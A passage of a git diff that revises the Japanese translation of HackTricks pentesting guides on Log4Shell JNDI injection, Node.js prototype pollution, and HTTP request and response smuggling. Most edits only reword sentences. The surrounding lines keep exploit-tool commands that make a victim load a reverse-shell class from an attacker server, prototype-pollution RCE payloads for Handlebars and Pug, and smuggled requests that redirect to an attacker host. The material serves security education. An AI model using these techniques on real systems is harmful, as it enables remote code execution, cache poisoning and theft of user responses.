:8000/#Exploit"
```
-ターゲットにリバースシェルコードをロードさせるために、以下の内容で `Exploit.java` という名前のJavaファイルを作成します:
+ターゲットにリバースシェルコードを読み込ませるために、以下の内容で `Exploit.java` という名前のJavaファイルを作成します:
```java
public class Exploit {
static {
@@ -254,8 +254,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
-コードを数分間読んだ後、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で **LDAP と HTTP サーバーがどのように作成されるか** がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
-_com.feihong.ldap.gadgets_ では、目的のアクションを実行するために使用できる **特定のガジェット** を見つけることができます(潜在的に任意のコードを実行する)。_com.feihong.ldap.template_ では、**エクスプロイトを生成する** 異なるテンプレートクラスを見ることができます。
+コードを数分間読むと、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で **LDAP と HTTP サーバーがどのように作成されるか** がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
+_com.feihong.ldap.gadgets_ では、**特定のガジェット**が見つかり、目的のアクションを実行するために使用できます(任意のコードを実行する可能性があります)。_com.feihong.ldap.template_ では、**エクスプロイトを生成する**さまざまなテンプレートクラスを見ることができます。
利用可能なすべてのエクスプロイトは **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** で確認できます。いくつかの便利なものは次のとおりです:
```bash
@@ -288,7 +288,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
-_この攻撃はカスタム生成されたJavaオブジェクトを使用しており、**THMソーラールーム**のようなラボで機能します。しかし、一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)これは、信頼されたクラスを悪用して任意のコードを実行していないためだと思います。_
+_この攻撃はカスタム生成されたJavaオブジェクトを使用しており、**THMソーラールーム**のようなラボで機能します。しかし、一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)これは、信頼されたクラスを悪用して任意のコードを実行していないからだと思います。_
### RCE - JNDI-Injection-Exploit-Plus
@@ -373,7 +373,7 @@ CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアク
### 変換パターンの例外
-念のために言及すると、[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) を新たに注入し、`stdout` にログされる例外をトリガーすることも可能です。例えば:
+念のために言及すると、新しい [**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) を注入し、`stdout` に記録される例外をトリガーすることもできます。例えば:
.png>)
@@ -381,7 +381,7 @@ CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアク
### 変換パターンの正規表現
-ただし、**正規表現をサポートするいくつかの変換パターン**を使用して、正規表現を利用し、**二分探索**または**時間ベース**の動作を悪用して情報を抽出することが可能です。
+ただし、**正規表現をサポートするいくつかの変換パターン**を使用して、正規表現を使用し、**二分探索**または**時間ベース**の動作を悪用して、検索から情報を抽出することが可能です。
- **例外メッセージによる二分探索**
@@ -416,9 +416,9 @@ CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアク
> }{#}{######################################################}
> ```
>
-> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られる29個の`#`は54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`になります!**
+> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られた29個の`#`は54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`が生成されます!**
>
-> これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグが`flagGuess`で始まらない場合、500以外のステータスコードを受け取ります)
+> これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグが`flagGuess`で始まらない場合、500以外のステータスコードが返されます)
## 参考文献
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index 040fef2f1..648b76bbd 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -78,7 +78,7 @@ console.log(car1.isVehicle) // Outputs true
```
## プロトタイプ汚染
-`__proto__` の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段です:
+`__proto__` の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段です:
```javascript
function Vehicle(model) {
this.model = model
@@ -185,7 +185,7 @@ user.isAdmin // true
```
このメカニズムは、攻撃者が特定の入力を制御できる場合、アプリケーション内のすべてのオブジェクトのプロトタイプを変更できるようにプロパティを操作することに関係しています。この操作は通常、`__proto__`プロパティを設定することを含み、JavaScriptではオブジェクトのプロトタイプを直接変更することと同義です。
-この攻撃が成功裏に実行される条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)に概説されており、以下が含まれます:
+この攻撃が成功裏に実行される条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)に概説されているように、以下を含みます:
- 再帰的マージを実行すること。
- パスに基づいてプロパティを定義すること。
@@ -218,7 +218,7 @@ client-side-prototype-pollution.md
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
-この脆弱性はCVE-2019–11358として特定されており、ディープコピーがプロトタイプを意図せずに変更する方法を示しています。これにより、`isAdmin`のようなプロパティが適切な存在確認なしにチェックされると、未承認の管理者アクセスなどの潜在的なセキュリティリスクが生じる可能性があります。
+この脆弱性はCVE-2019–11358として特定されており、ディープコピーがプロトタイプを意図せず変更する方法を示しています。これにより、`isAdmin`のようなプロパティが適切な存在確認なしにチェックされると、未承認の管理者アクセスなどの潜在的なセキュリティリスクが生じる可能性があります。
### CVE-2018–3721、CVE-2019–10744: lodashによるプロトタイプ汚染攻撃
@@ -237,7 +237,7 @@ console.log({}.devMode) // Outputs: true
### NodeJSにおけるASTプロトタイプ汚染
-NodeJSは、テンプレートエンジンやTypeScriptなどの機能のためにJavaScriptで抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugにおけるプロトタイプ汚染に関連する脆弱性を探ります。
+NodeJSは、テンプレートエンジンやTypeScriptなどの機能のためにJavaScriptで抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugに関連するプロトタイプ汚染の脆弱性を探ります。
#### Handlebars脆弱性分析
@@ -251,7 +251,7 @@ Handlebarsテンプレートエンジンは、プロトタイプ汚染攻撃に
2. **コンパイラによる処理**: コンパイラはASTオブジェクトまたは文字列テンプレートを処理できます。`input.type`が`Program`に等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。
3. **コードの注入**: `Object.prototype`を操作することで、テンプレート関数に任意のコードを注入でき、リモートコード実行につながる可能性があります。
-Handlebarsの脆弱性を悪用する例を示します:
+Handlebarsの脆弱性を悪用する例:
```javascript
const Handlebars = require("handlebars")
@@ -285,7 +285,7 @@ console.log(eval("(" + template + ")")["main"].toString())
**外部参照**: [「flat」ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105)
-Pythonにおけるプロトタイプ汚染の悪用の例:
+Pythonにおけるプロトタイプ汚染のエクスプロイトの例:
```python
import requests
@@ -313,7 +313,7 @@ requests.get(TARGET_URL)
```
#### Pugの脆弱性
-Pug、別のテンプレートエンジンも、プロトタイプ汚染の同様のリスクに直面しています。詳細情報は、[PugにおけるASTインジェクション](https://blog.p6.is/AST-Injection/#Pug)の議論で入手できます。
+Pugは、別のテンプレートエンジンであり、プロトタイプ汚染の同様のリスクに直面しています。詳細な情報は、[PugにおけるASTインジェクション](https://blog.p6.is/AST-Injection/#Pug)の議論で入手できます。
Pugにおけるプロトタイプ汚染の例:
```python
@@ -336,14 +336,14 @@ requests.get(TARGET_URL)
プロトタイプ汚染のリスクを減らすために、以下の戦略を採用できます:
-1. **オブジェクトの不変性**: `Object.prototype`を`Object.freeze`を適用することで不変にできます。
+1. **オブジェクトの不変性**: `Object.prototype`は`Object.freeze`を適用することで不変にできます。
2. **入力検証**: JSON入力はアプリケーションのスキーマに対して厳密に検証する必要があります。
3. **安全なマージ関数**: 再帰的なマージ関数の安全でない使用は避けるべきです。
4. **プロトタイプのないオブジェクト**: プロトタイププロパティのないオブジェクトは`Object.create(null)`を使用して作成できます。
5. **Mapの使用**: キーと値のペアを保存するために`Object`の代わりに`Map`を使用すべきです。
6. **ライブラリの更新**: 定期的にライブラリを更新することでセキュリティパッチを組み込むことができます。
7. **リンターと静的解析ツール**: プロトタイプ汚染の脆弱性を検出し防止するために、適切なプラグインを持つESLintのようなツールを使用します。
-8. **コードレビュー**: プロトタイプ汚染に関連する潜在的なリスクを特定し修正するために徹底的なコードレビューを実施します。
+8. **コードレビュー**: プロトタイプ汚染に関連する潜在的なリスクを特定し修正するために、徹底的なコードレビューを実施します。
9. **セキュリティトレーニング**: 開発者にプロトタイプ汚染のリスクと安全なコードを書くためのベストプラクティスについて教育します。
10. **ライブラリの使用に注意**: サードパーティのライブラリを使用する際は注意が必要です。特にオブジェクトを操作するものについては、そのセキュリティ姿勢を評価し、コードをレビューします。
11. **ランタイム保護**: プロトタイプ汚染攻撃を検出し防止できるセキュリティ重視のnpmパッケージを使用するなど、ランタイム保護メカニズムを採用します。
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
index d499c3113..dc5bdd313 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
@@ -6,7 +6,7 @@
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) は **プロトタイプ汚染の脆弱性を見つける**ために使用できます。
-さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**自動的に** **アクセスする** **ページ**のプロトタイプ汚染の脆弱性を**スキャン**することもできます。
+さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**アクセス**した**ページ**を**自動的に** **スキャン**し、プロトタイプ汚染の脆弱性を探すこともできます。
### プロパティが使用されている場所のデバッグ
```javascript
@@ -19,7 +19,7 @@ return "test"
},
})
```
-### Prototype Pollutionの根本原因を特定する
+### プロトタイプ汚染の根本原因を特定する
プロトタイプ汚染の脆弱性がツールによって特定され、コードがそれほど複雑でない場合、Chrome Developer Toolsで`location.hash`、`decodeURIComponent`、または`location.search`などのキーワードを検索することで脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。
@@ -48,7 +48,7 @@ debugAccess(Object.prototype, "ppmap")
```
4. **Sources** タブに戻り、「スクリプトの実行を再開」を選択します。JavaScript は引き続き実行され、'ppmap' プロパティは予想通りに汚染されます。提供されたスニペットを利用することで、'ppmap' プロパティが汚染される正確な場所を特定できます。**Call Stack** を調べることで、汚染が発生した異なるスタックを観察できます。
-どのスタックを調査するかを決定する際には、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。行 4 と 6 のように複数のスタックがある場合、論理的な選択は行 4 のスタックです。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。
+どのスタックを調査するかを決定する際、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。行 4 と 6 のように複数のスタックがある場合、論理的な選択は行 4 のスタックです。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。

@@ -56,7 +56,7 @@ debugAccess(Object.prototype, "ppmap")
ガジェットは、**PP 脆弱性が発見されたときに悪用されるコード**です。
-アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`** のような **キーワード** を **検索** し、ソースコードをレビューして **JavaScript 実行につながるか** を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。
+アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`** のような **キーワード** を **検索** し、ソースコードをレビューして **JavaScript 実行に繋がるか** を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。
### Mithil ライブラリコードでの PP ガジェットの発見例
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
index bd24e00da..10c08c4a2 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
@@ -1,14 +1,14 @@
-# Express プロトタイプ汚染ガジェット
+# Expressプロトタイプ汚染ガジェット
{{#include ../../../banners/hacktricks-training.md}}
-## XSS レスポンスを提供する
+## XSSレスポンスを提供する
**詳細については** [**元の研究を参照してください**](https://portswigger.net/research/server-side-prototype-pollution)
-### JSON コンテンツタイプを HTML に変更する
+### JSONコンテンツタイプをHTMLに変更する
-Express アプリで **JSON コンテンツタイプレスポンス** を使用し、JSON を反映させる:
+Expressアプリで**JSONコンテンツタイプのレスポンス**を使用し、JSONを反映させる:
```javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
@@ -20,11 +20,11 @@ res.send(req.body)
```json
{ "__proto__": { "_body": true, "body": "` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
+1. `Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーグリングの開始を示します。
+2. 次に `0` を続け、チャンク化されたメッセージボディの終わりを示します。
+3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
-`User-Agent` を密輸によって操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
+スムーグリングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
#### HTTP/0.9
> [!CAUTION]
> ユーザーコンテンツが **`Content-type`** が **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります!
-HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなく、ボディのみで応答します。
+HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。
-[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエスト密輸と **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストを密輸することが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
+[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーグリングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストをスムーグルすることが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
-### HTTP リクエスト密輸を使用したオンサイトリダイレクトの悪用
+### HTTP リクエストスムーグリングを使用したオンサイトリダイレクトの悪用
-アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます:
+アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます:
```
GET /home HTTP/1.1
Host: normal-website.com
@@ -464,17 +464,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
-このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。
+このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。
-### HTTPリクエストスムージングを介したWebキャッシュポイズニングの悪用
+### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用
-Webキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
+ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャの任意のコンポーネントがコンテンツをキャッシュする**場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
-以前、サーバーの応答を変更して404エラーを返す方法を観察しました([基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否(DoS)につながる可能性があります。
+以前、サーバーの応答を変更して404エラーを返す方法を観察しました([Basic Examples](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーは`/static/include.js`にアクセスできなくなり、最終的にはサービス拒否(DoS)につながる可能性があります。
-この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
+この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのサイト内リダイレクト**がある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
-以下は、**キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
+以下は、**キャッシュポイズニングとオープンリダイレクトへのサイト内リダイレクトの組み合わせを悪用する**例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
```
POST / HTTP/1.1
Host: vulnerable.net
@@ -492,7 +492,7 @@ Content-Length: 10
x=1
```
-埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を利用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクト**)。
+埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を使用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクト**)。
成功した**ソケットポイズニング**の後、`/static/include.js` に対する**GETリクエスト**を開始する必要があります。このリクエストは、以前の**オンサイトリダイレクトからオープンリダイレクト**リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
@@ -516,11 +516,11 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
-このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`)用のキャッシュエントリを汚染すると、犠牲者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。
+もしこのスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`)を対象としたキャッシュエントリを汚染する場合、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。
### HTTPリクエストスムグリングを利用したTRACEの悪用
-[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
+[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
```
TRACE / HTTP/1.1
Host: example.com
@@ -537,13 +537,13 @@ Host: vulnerable.com
XSS:
X-Forwarded-For: xxx.xxx.xxx.xxx
```
-この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(**`Content-Type`**を含む)。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
-HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることができます**。\
+この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中には**`Content-Type`**も含まれます)。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
+HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることになります**。\
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
-### HTTPレスポンス分割を介したTRACEの悪用
+### HTTPレスポンス分割を利用したTRACEの悪用
-[**この投稿**](https://portswigger.net/research/trace-desync-attack)を続けると、TRACEメソッドを悪用する別の方法が提案されています。コメントされたように、HEADリクエストとTRACEリクエストをスムグルすることで、HEADリクエストの応答における**一部の反映データを制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。
+[**この投稿**](https://portswigger.net/research/trace-desync-attack)を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストの応答における**反映されたデータの一部を制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです(これによりキャッシュポイズニングを実行することができます)。
@@ -566,7 +566,7 @@ Content-Length: 44\r\n
\r\n
```
-これらのレスポンスを生成します(HEADレスポンスにContent-Lengthがあることに注意してください。これにより、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):
+これらのレスポンスを生成します(HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):
```
HTTP/1.1 200 OK
Content-Type: text/html
@@ -587,29 +587,29 @@ Content-Length: 50
```
-### HTTPレスポンスの非同期化を利用したHTTPリクエストスムーギングの武器化
+### HTTPレスポンスの非同期化を利用したHTTPリクエストスムージングの武器化
-HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。
+HTTPリクエストスムージングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
-### その他のHTTPリクエストスムーギング技術
+### その他のHTTPリクエストスムージング技術
-- ブラウザHTTPリクエストスムーギング(クライアントサイド)
+- ブラウザHTTPリクエストスムージング(クライアントサイド)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
-- HTTP/2ダウングレードにおけるリクエストスムーギング
+- HTTP/2ダウングレードにおけるリクエストスムージング
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
-## ターボイントルーダースクリプト
+## ターボ侵入者スクリプト
### CL.TE
diff --git a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
index 15c939fe2..b532c0074 100644
--- a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
+++ b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
@@ -1,4 +1,4 @@
-# HTTP/2ダウングレードにおけるリクエストスムーギング
+# HTTP/2ダウングレードにおけるリクエストスムージング
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md
index 1f3cf76f6..72b846d49 100644
--- a/src/pentesting-web/http-response-smuggling-desync.md
+++ b/src/pentesting-web/http-response-smuggling-desync.md
@@ -16,7 +16,7 @@
HTTP/1.1は、**前のリクエストを待つことなく異なるリソースを要求する**ことを許可します。したがって、**中間にプロキシがある場合**、プロキシのタスクは**バックエンドに送信されたリクエストとそこからのレスポンスの同期を維持する**ことです。
-しかし、レスポンスキューを非同期化するには問題があります。攻撃者がHTTPレスポンススムージング攻撃を送信し、**最初のリクエストとスムージングされたリクエストへのレスポンスが即座に返される**と、スムージングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして単に破棄されます**。
+しかし、レスポンスキューを非同期化するには問題があります。攻撃者がHTTPレスポンススムージング攻撃を送信し、**最初のリクエストとスムージングされたリクエストのレスポンスが即座に返される**と、スムージングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして単に破棄されます**。
.png>)
@@ -24,7 +24,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
この特定の状況で**被害者がリクエストを送信し、スムージングされたリクエストが正当なリクエストの前に応答される**と、**スムージングされたレスポンスが被害者に送信されます**。したがって、攻撃者は**被害者によって「実行された」リクエストを制御します**。
-さらに、**攻撃者がリクエストを実行し、被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストの前に応答される**場合、**被害者へのレスポンスは攻撃者に送信され、**被害者へのレスポンスを**盗む**ことになります(例えば、**Set-Cookie**ヘッダーを含むことがあります)。
+さらに、**攻撃者がリクエストを実行し、被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストの前に応答される**と、**被害者へのレスポンスが攻撃者に送信され、被害者へのレスポンスを「盗む」ことになります**(例えば、**Set-Cookie**ヘッダーを含むことがあります)。
.png>)
@@ -32,7 +32,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
### 複数のネストされたインジェクション
